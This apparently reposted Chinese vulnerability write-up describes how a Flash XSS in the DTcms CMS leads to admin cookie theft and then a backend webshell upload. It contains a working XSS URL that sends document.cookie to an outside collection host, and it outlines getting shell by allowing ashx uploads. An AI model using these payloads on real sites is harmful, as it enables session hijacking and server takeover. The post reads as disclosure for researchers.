dtcms php,[.net学习]dtcms从前台Flash XSS到后台Getshell

DTcms:http://www.dtcms.net/index.aspx

一个开源.netcms,VS2010装MVC、编译发布、搭环境都花了半天,还好这个cms不要mssql,否则更麻烦。

扯点淡:来乌云也快一年了,一年里确实学到了很多知识。从最开始完全不懂PHP到现在能独立挖掘一些漏洞,写一些exp,也算是时间没有荒废。 然后,认识了一些基友,别人身上也学到很多自己不知道的东西。 期间也有过痛苦、开心、难过、兴奋,遇见过无耻的厂商,也收到过良心厂商的礼物。 还希望以后仍然能愉快地在乌云和各位喝个茶、聊个天,挖洞不在奖励的多少,学习是最重要。 初学.net架构,感觉这才是真正的“safe in default”,比如参数化查询、默认XSS防御机制,感觉挺好的,微软确实也是一个不错的厂商。希望以后学到更多.net的知识。 好不容易放暑假了,结果比上学还忙。只能大夜里看点代码,白天各种事。。。

之前提的一个任意文件删除。。。重复了。。。之后就一直没时间看

首先前台一个普通的flash xsshttp://demo.dtcms.net/scripts/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//

通过这个xss可以获得管理员cookie:http://www.test.com/scripts/swfupload/swfupload.swf?movieName=%22%5D)%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x%3D1%3B(function()%7B(new%20Image()).src%3D'http%3A%2F%2Fxssan.com%2Findex.php%3Fdo%3Dapi%26id%3DSSI7Wt%26cookie%3D'%2Bescape(document.cookie)%3B%7D)()%3B%7D%7D%2F%2F

imgpxy.php?url=fig.409411004070014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

然后,这个cms有点奇葩的就是,虽然session id是http only的,但cookie中还有管理员的账号密码(加密过),没有http only的,如上图:AdminName=DTcms=admin;AdminPwd=DTcms=BB59946C93C0DEE8082F292B3A0FC7FF

cookie中包含这个AdminName和AdminPwd就可以登录后台。

登录了后台,怎么拿shell?

后台可以修改文件上传类型:

imgpxy.php?url=fig.965221004070014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

虽然在上传的时候限制了不能上传{ "asp", "aspx", "php", "jsp", "htm", "html" },这些文件:

imgpxy.php?url=fig.825741004070014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

不过明显还有很多方法突破:

1.IIS6下可以用解析漏洞

2.未限制ashx/asa等格式,可以直接传一个ashx webshell。

然后本地构造一个上传单页,向http://www.test.com/tools/upload_ajax.ashx 处上传即可:

官网演示站:

imgpxy.php?url=fig.076271004070014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

演示站后台没有设置后缀名的权限,我就不在演示站测试了。

本地测试一下即可。

增加ashx后缀:

imgpxy.php?url=fig.965221004070014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

上传:

imgpxy.php?url=fig.718891004070014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

菜刀连接:

imgpxy.php?url=fig.379902004070014102%2F0141_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

修复方案:

删除没用的swf

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
此旗舰版 修改与 DTcms V5.0 正式版MSSQL源码 更新时间:2017年09月21日 在此版本基础上增加了所有旗 DTcms V5.0 旗舰版功能 经本人测试没测试出问题 如有发现问题可以留言 DTcms V5.0源码说明: 版本号:V5.0.0 数据库:MSSQL2005 修复日志: 2017-06-11 修复前台模板订单结算时地址无法选择BUG 2017-06-12 修复后台管理菜单无法上传图标的BUG 2017-07-09 修复第三方登录出错的BUG 2017-09-20 修复前台会员注册时获取手机验证码短信防止注册机重复发送短信BUG DTcms5.0改进的地方: 1. 后台管理界面加强美化,使用矢量图标代替位图,对于树型菜单增加可闭合和展开,调整了部分页面的布局; 2. 对于会员、订单等进行站点归类,更好区分每个站点数据; 3. 创建频道时,根据选择的功能创建不同的管理菜单; 4. 网页编辑器使用了UEditor百度编辑器,上传进行了改造,使用二进制上传文件; 5. 支付方式,第三方登录OAuth可每个站点设置不同的配置信息,不再限于全局使用; 6. 对系统架构进行全新改造,每增加一个频道自动创建对象数据库表存储; 7. 插件模板支持不同的站点可创建不同的对应模板; 8. DAL层代码改进,通过反射进行解析Model实体自动赋值,不必担心增加数据库字段而修改DAL层烦恼; 二、安装环境要求 开发工具:Microsoft Visual Studio 2010 操作系统:Windows Server 2008(推荐) 、Windows Server 2003(推荐)、Windows XP(基础测试环境) 数据库: Sql Server 2005(推荐)、Sql Server 2008(推荐) Web服务器:IIS 5.0及以上版本(推荐IIS7.0,应用池为集成模式) 环境要求:.NET Framework 4.x及以上

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值